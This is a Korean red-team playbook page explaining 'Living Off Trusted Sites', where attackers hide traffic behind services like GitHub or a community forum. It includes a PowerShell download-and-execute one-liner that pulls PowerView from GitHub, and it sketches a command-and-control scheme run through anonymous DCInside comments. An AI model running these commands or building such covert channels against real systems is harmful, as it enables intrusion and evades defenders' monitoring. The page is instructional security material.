📖
레드팀 플레이북
깃허브기여하는 방법WhoAreWe블로그
  • 레드팀 플레이북
  • 레드팀이란
  • 레드팀 글로벌 동향 (2024)
  • 베이직 레드팀(Basic Redteam)
    • 개요
    • 1. 공격자 인프라 구성
    • 2. 초기 침투
    • 3. 정보 수집
    • 4. 권한 상승 - US
    • 5. 횡적 이동: USWKSTN01 -> SQL01
    • 6. 권한 상승 - SQL01
    • 7. 도메인 장악 WEB01
    • 8. US -> RT 장악
    • 9. RT -> DEV 정보 수집
    • 10. 권한 상승 및 목표 달성
  • 🚧인프라 (Infrastructure)
    • 개념
    • 예시 인프라
    • 팀 서버 - Sliver
      • 스테이저 (Stager) 사용
    • 도메인 분류와 신뢰도
    • HTTP 리다이렉터
    • HTTPS 리다이렉터
    • SMTP Gophish + Mail
    • SMTP Gophish + ESP
    • SMTP Gophish + Relay + ESP
    • 인프라 구축 자동화
      • 테라폼 (Terraform)
      • SMTP 테라폼 자동화
      • HTTPS 리다이렉터 자동화 (AWS)
    • old-네뷸라를 이용한 인프라 구축
      • 도메인과 리다이렉터 설정
      • 중립 공간 (클라우드) 설정
      • 네뷸라 (Nebula)
      • 네뷸라 설정
    • 도메인 프론팅 (Domain Fronting)
    • 도메인 프론팅 - Azure Edgio CDN
    • Cloudflared Tunnel과 Worker
    • Cloudflared Tunnel과 Pages
  • 🔎초기 정찰
    • 개념
    • 타겟 발견
    • OSINT
      • 작전보안
      • 자산 정보 수집
      • 구글 도킹
  • ⚔️초기 침투 (Initial Access)
    • 개념
    • 피싱 첨부파일
      • 오피스 VBA 매크로
      • XLM Excel 4.0 매크로
      • 원격 템플렛 인젝션
      • VBA Stomping
      • HTA
      • LNK
      • ISO
      • VBA Purging - TODO
      • DotNetToJS - TODO
      • Follina - TODO
    • HTML 스머글링 (Smuggling)
    • 피싱 - AitM (Adversary in the Middle)
    • Living Off Trusted Sites (LOTS)
  • 🐳정보 수집 - 내부망
    • 개념
    • 로컬 호스트 정보 수집
    • 블러드하운드
    • SMB 쉐어 수집
    • 정보 수집 - 파워쉘
    • 정보 수집 - C# - TODO
    • 커버로스 유저 이름 정보수집
    • CME - 호스트이름과 IP주소
    • LDAP Anonymous Bind
  • 🐴실행 (Execution)
    • 개념
    • 파워쉘
      • 인메모리 실행
      • C# 실행
      • 윈도우 API 실행
    • LOLBAS
    • Native API - TODO
  • 🙃지속성 (Persistence)
    • 개념
    • 골든 티켓 (Golden Ticket)
    • DLL 사이드로딩 (DLL Side-Loading)
    • DLL Search Order Hijacking - TODO
    • 레지스트리 / 스타트업 폴더
  • ⬆️권한 상승
    • 개념
    • AD 권한 상승
      • Active Directory Certificate Services (ADCS)
        • ESC1
        • ESC8
      • Shadow Credentials
      • noPac
      • Kerberoasting
      • AS-REP Roasting
      • DHCPv6 포이즈닝
      • Resource-Based Constrained Delegation (RBCD)
      • SCCM
    • AD-DACL
      • AddAllowedToAct
      • AddKeyCredentialLink
      • GenericAll
      • GenericWrite
      • WriteDACL
      • AllExtendedRights
      • WriteAccountRestrictions
      • WriteOwner
      • AddMember
    • 로컬 권한 상승 - TODO
      • 잘못된 서비스 설정
      • Unquoted Service Path
      • Always Install Elevated
      • PrintNightmare
  • 🐍보안 우회 (Defense Evasion)
    • 쉘코드 암호화
    • 런타임 다이나믹 링킹 (Run-time Dynamic Linking)
    • AMSI 우회
    • 유저랜드 후킹 - 역사
    • 유저랜드 커널랜드 윈도우API 개념
    • 유저랜드 후킹
    • DInvoke - 시스템 콜
    • 페이로드 크기
    • 가변적 C2 프로필
    • 프로세스 인젝션
      • CreateRemoteThread
      • NtMapViewOfSection
    • 간단 디펜더 우회 - 쉘코드
    • 간단 디펜더 우회 - C#
    • MSIExec
    • 다형성 코드
  • 👿후속 공격 (Post Exploitation)
    • 후속 공격의 진화
    • External SID Golden Ticket
  • 🎭계정 정보 탈취 (Credential Access)
    • 커버로스
      • 커버로스팅 (Kerberoasting)
      • AS-Rep Roasting
    • 비밀번호 스프레이 공격
    • LLMNR/NBT-NS 포이즈닝
    • NTLM 릴레이 (NTLM Relay)
      • SMB to SMB
      • SMB to LDAP/S
      • HTTP to LDAP
      • SMB to HTTP
      • SMB to SCCM
    • 강제 인증 (Authentication Coercion)
      • MS-RPRN - Printerbug / Print Spooler
      • MS-EFSRPC - Petitpotam
      • MS-FSRVP - ShadowCoerce
      • MS-DFSNM - DFSCoerce
    • NTLM 다운그레이드
    • DHCPv6 포이즈닝
    • LAPS - TODO
    • DCSync
    • DPAPI
  • ↔️횡적 이동 (Lateral Movement)
    • 개념
    • Pass-the-Hash
    • SMB 와 PsExec
    • WMI
    • WinRM / Powershell Remoting
    • RDP
    • SSH Port Forwarding & Tunneling
    • Dynamic Port Forwarding & ProxyChains
    • 네트워크 피버팅 - 툴
    • Network Pivoting (피벗) - TODO
  • 개념
    • 윈도우 사용자 인증
      • NTLM 인증
      • 커버로스 (Kerberos) 인증 - TODO
      • ADCS 인증서 기반 인증
    • AD 관련 용어 해설
  • 실 공격 TTP와 대응방안 - TODO
    • 개념
  • 🧑‍🔬홈 랩 (Home lab)
    • 시스몬 (sysmon) 설치
    • SIEM과 EDR 솔루션 설치
    • 취약한 랩을 위한 설정 커맨드
    • 말웨어 자동 분석툴 Cuckoo 샌드박스 설치
  • 기본 개념
    • DNS
      • 사이버 보안에 필요한 DNS 개념 편 #1
      • 해킹에 필요한 DNS 공격 & 우회 기법 편 #2
      • 방어에 필요한 DNS 탐지 편 #3
  • 웹 & 모바일
    • 01-계정관리
      • 통신 과정 흐름 훑어보기
      • 첫번쩨, payload설정 방법
      • 두번째, 세션을 유지하는 방법
      • CSRF Token에 관하여
      • 세번째, OWASP Juice Shop 로그인 페이지에서의 통신 흐름과 구조 알아보기
  • 🎅MISC
    • Host-based 공격 CheatSheet (FEAT. OSCP)
      • Enumeration (정보 수집 및 열거)
      • Exploitation (공격)
      • Post Exploitation (후속공격)
    • Changelog
    • 기여하는 방법
    • 레퍼런스와 크레딧
    • C# snippets
    • winapi 리스트
      • original notes from obsidian
    • 파워쉘 원라이너 (oneliner)
  • 📖Personal-Research
    • README-and-Template
      • HellsGate
      • HalosGate
      • FreshyCall
Powered by GitBook
On this page
  • LOTS 와 C2
  • 레퍼런스
  1. 초기 침투 (Initial Access)

Living Off Trusted Sites (LOTS)

Previous피싱 - AitM (Adversary in the Middle)Next개념

Last updated 2 years ago

LOTS (Living Off Trusted Sites) 는 공격자들이 자주 사용하는 정상적인 웹 서비스들을 모아놓은, LOLBINS과도 비슷한 성격의 프로젝트다. 공격자들은 구글 드라이브, 깃허브, 레딧, 노션 과 같은 정상적인 웹 서비스들을 이용해 명령을 수행하거나, 파일을 업로드/다운로드 하거나, 피싱 등의 공격을 실행할 수 있다. 공격자와 피해자 호스트 간의 트래픽이 C2 서버나, 공격자의 도메인이나, 수상한 IP 주소를 경유 하는 것이 아니라, 매우 유명한 웹 서비스들을 거치기 때문에 블루팀의 입장에서 볼 때 네트워크 트래픽의 이상한 점을 느끼기가 어렵다. 때문에 공격 중 네트워크 트래픽을 숨기기 위해 공격자들은 LOTS에 등록되어 있는 웹사이트들을 이용한다.

예를 들어 공격자가 피해자 호스트를 장악 한 뒤, 정보 수집과 권한 상승 공격을 위해 추가 파워쉘 스크립트를 로드해서 공격한다고 가정해보자. 공격자는 이 파워쉘 스크립트를 공격자의 도메인에서 가져오는 것이 아니라, 깃허브에서 다음과 같이 가져온다.

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/BC-SECURITY/Empire/master/empire/server/data/module_source/situational_awareness/network/powerview.ps1')

엔드포인트 보안을 잠시 제외하고, 네트워크적으로만 따져보자. 블루팀의 입장에서 보면 한 컴퓨터가 깃허브로 가서 공개되어 있는 리포의 파워쉘 스크립트를 가져오는 것으로 밖에 안보인다. 얼마나 많은 개발자들과 시스어드민들이 회사에서 매일매일 깃허브를 이용하는가? 이렇게만 보면 이 네트워크 트래픽은 정상적으로 보인다.

공격자들은 LOTS를 이용해서 정상적인 웹 서비스를 공격에 이용할 수 있다. LOTS의 이용 방법은 다양하다:

  1. 피싱

  2. Command and Control

  3. 파일 업로드/다운로드

  4. 데이터 유출 (Data Exfiltration)

이 중 피싱, 파일업로드/다운로드, 데이터 유출은 간단한 개념인 것 같다. 하지만 정상적인 웹 서비스를 C2 (Command and Control) 에 이용한다는 것은 어떤 의미일까?

LOTS 와 C2

우리나라에는 "DCInside" 라는 커뮤니티가 웹사이트가 있다. 이 웹사이트의 가장 큰 특징이자 장점 중 하나는 바로 누구나 사용자 인증 없이 글을 읽고, 쓰고, 댓글을 쓸 수 있다는 점이다. 다음의 시나리오를 생각해보자.

  1. 쓰여진지 2년 정도 지났지만 댓글 작성한 글을 찾아낸다.

  2. 공격자 호스트에서는 해당 글에 [1]execute: powershell.exe -command "whoami" 라는 댓글을 남긴다.

  3. 피해자 호스트에서 돌아가는 비컨은 해당 글의 URL로 방문해 댓글을 읽고 파싱을 진행한다. [1]은 첫번째 명령, execute 는 "실행" 명령, powershell.exe -command "whoami" 는 실행할 명령이다. 명령을 실행한뒤 chois computer - Administrator 라는 값을 반환한다.

  4. 피해자 호스트는 chois computer - Administrator 라는 반환된 값을 다시 똑같은 글에 댓글로 남긴다. [bot]result: chois computer - Administrator

  5. 공격자 호스트에서 다시 해당 글을 방문해 댓글로 명령이 실행된 결과를 확인한다.

이렇듯 특정 웹사이트를 통해서 공격자 호스트는 피해자 호스트에게 명령을 내리고, 결과를 반환받을 수 있다. 피해자 호스트의 블루팀의 입장에서 볼때는 그저 dcinside.com 의 랜덤한 글을 방문하는 것 밖에 보이지 않을 것이다.

이제 위에서 나온 PoC에다가 다음의 것들을 추가해보면...

  • 명령 및 결과 반환 암호화 적용

  • 자체 API 개발로 공격자 서버와 피해자 비컨이 모두 dcsinside를 더 편하게 이용하도록 함

  • 각 피해자 비컨들마다 새로운 글을 지정함. 100개의 피해자 호스트가 있다면 100개의 다른 글에 댓글을 남기고, 공격자 서버는 해당 글들을 방문해 결과를 확인하는 식으로 스케일링

  • (졸업 프로젝트로 사용하고 교수님에게 칭찬 받기)

실제로 위의 내용과 비슷하게 Reddit 커뮤니티를 사용하는 RedViper 오픈소스 프로젝트가 공개됐던적도 있고, 디스코드 (Discord)를 이용하는 C2 서버 프로젝트도 있다.

레퍼런스

⚔️
LOTS Project - Living Off Trusted Sites
Logo